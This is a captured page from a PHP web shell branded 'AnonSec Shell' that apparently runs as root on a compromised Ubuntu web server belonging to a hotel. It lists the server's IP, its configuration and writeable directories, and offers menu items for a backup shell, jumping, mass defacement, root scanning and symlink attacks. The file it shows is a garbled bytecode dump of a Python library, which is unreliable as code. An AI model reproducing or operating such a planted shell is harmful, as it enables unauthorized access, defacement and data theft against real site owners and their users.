AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/attr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/attr/__pycache__/_next_gen.cpython-310.pyc
o

��`��@s�dZddlmZddlmZddlmZddlmZm	Z	m
Z
mZ	ddddddd	dd	dd	d	ddd	ddddd
�dd�ZeZ
eeddd
�Zedddddddd	dddd�dd�ZdS)zr
These are Python 3.6+-only and keyword-only APIs that call `attr.s` and
`attr.ib` with different default values.
�)�partial)�UnannotatedAttributeError�)�setters)�NOTHING�_frozen_setattrs�attrib�attrsNTF)�these�repr�hash�init�slots�frozen�weakref_slot�str�auto_attribs�kw_only�
cache_hash�auto_exc�eq�order�auto_detect�getstate_setstate�
on_setattr�field_transformercsR��������	�
���
�����fdd������fdd�}|dur%|S||�S)aD
    The only behavioral differences are the handling of the *auto_attribs*
    option:

    :param Optional[bool] auto_attribs: If set to `True` or `False`, it behaves
       exactly like `attr.s`. If left `None`, `attr.s` will try to guess:

       1. If any attributes are annotated and no unannotated `attr.ib`\ s
          are found, it assumes *auto_attribs=True*.
       2. Otherwise it assumes *auto_attribs=False* and tries to collect
          `attr.ib`\ s.

    and that mutable classes (``frozen=False``) validate on ``__setattr__``.

    .. versionadded:: 20.1.0
    cs�tdid|�d��d��d��d��d�
�d��d��d	��d
|�d�	�d��d
��d��d��d��dd�d��d�
�d���S)N�	maybe_clsr
rrr
rrrrrrrrrrr�collect_by_mroTrrr�)r	)�clsr)rrrrrrrrr
rrrrrrr
rr�0/usr/lib/python3/dist-packages/attr/_next_gen.py�do_it5sR��������	�
���
��������zdefine.<locals>.do_itcs��dtjfv}�dur�durtj�|jD]}|jtur'|r"td��tj�nq�dur1�|��Sz�|d�WStyE�|d�YSw)z�
        Making this a wrapper ensures this code runs during class creation.

        We also ensure that frozen-ness of classes is inherited.
        NFz@Frozen classes can't use on_setattr (frozen-ness was inherited).T)r�NO_OP�validate�	__bases__�__setattr__r�
ValueErrorr)r�had_on_setattr�base_cls)rr!rrrr �wrapMs&

��

�zdefine.<locals>.wrapNr)rr
rrr
rrrrrrrrrrrrrrr)r)rrrrr!rrrrrr
rrrrrrr
rr �defines
,'%r*)rr��default�	validatorrrr
�metadata�	converter�factoryrrrrcCs t||||||||||	|
|d�S)zx
    Identical to `attr.ib`, except keyword-only and with some arguments
    removed.

    .. versionadded:: 20.1.0
    r+)rr+rrr �field|s�r1)N)�__doc__�	functoolsr�attr.exceptionsr�r�_makerrrr	r*�mutablerr1rrrr �<module>sR��j�

Anon7 - 2022
AnonSec Team